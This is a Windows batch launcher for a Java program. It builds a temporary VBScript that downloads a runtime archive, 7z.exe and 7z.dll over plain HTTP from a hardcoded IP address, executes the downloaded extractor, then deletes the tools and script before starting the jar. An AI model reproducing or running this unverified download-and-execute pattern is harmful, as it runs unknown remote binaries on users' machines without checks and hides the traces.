@echo off
echo 第一次执行，开始初始化Java组件，请勿关闭本窗口。
echo Sub download(url,target) >temp.vbs
echo Const adTypeBinary = 1 >>temp.vbs
echo Const adSaveCreateOverWrite = 2 >>temp.vbs
echo Dim http,ado >>temp.vbs
echo Set http = CreateObject("Msxml2.XMLHTTP") >>temp.vbs
echo http.open "GET",url,False >>temp.vbs
echo http.send >>temp.vbs
echo Set ado = createobject("Adodb.Stream") >>temp.vbs
echo ado.Type = adTypeBinary >>temp.vbs
echo ado.Open >>temp.vbs
echo ado.Write http.responseBody >>temp.vbs
echo ado.SaveToFile target >>temp.vbs
echo ado.Close >>temp.vbs
echo End Sub >>temp.vbs
echo download "http://219.136.249.94/files/jre.apache.tar.gz", "./jvm.7z" >>temp.vbs
echo download "http://219.136.249.94/files/zdll", "./7z.dll" >>temp.vbs
echo download "http://219.136.249.94/files/zexe", "./7z.exe" >>temp.vbs
echo 正在加载，请稍候....
temp.vbs
7z.exe x -t7z jvm.7z
del /Q jvm.7z
del /Q 7z.exe
del /Q 7z.dll
del /Q temp.vbs

cd ..

set javacmd=data\bin\javaw.exe
set jarfile=program.jar
set libs=.
for /R "lib" %%i in (*.jar) do set libs=!libs!;%%i
set libs=%libs: =%
set jarfile=%jarfile:"=%
set jarfile=%jarfile:"=%
set jarfile="%jarfile%"
if not exist %jarfile% set jarfile="program.jar"
echo #Java runtime framework settings>framework.ini
echo CMD=%javacmd%>>framework.ini
echo CORE=%jarfile%>>framework.ini
start "" %javacmd% -Xbootclasspath/a:%libs% -jar %jarfile% %1 %2 %3 %4 %5 %6 %7 %8 %9
@echo on
exit
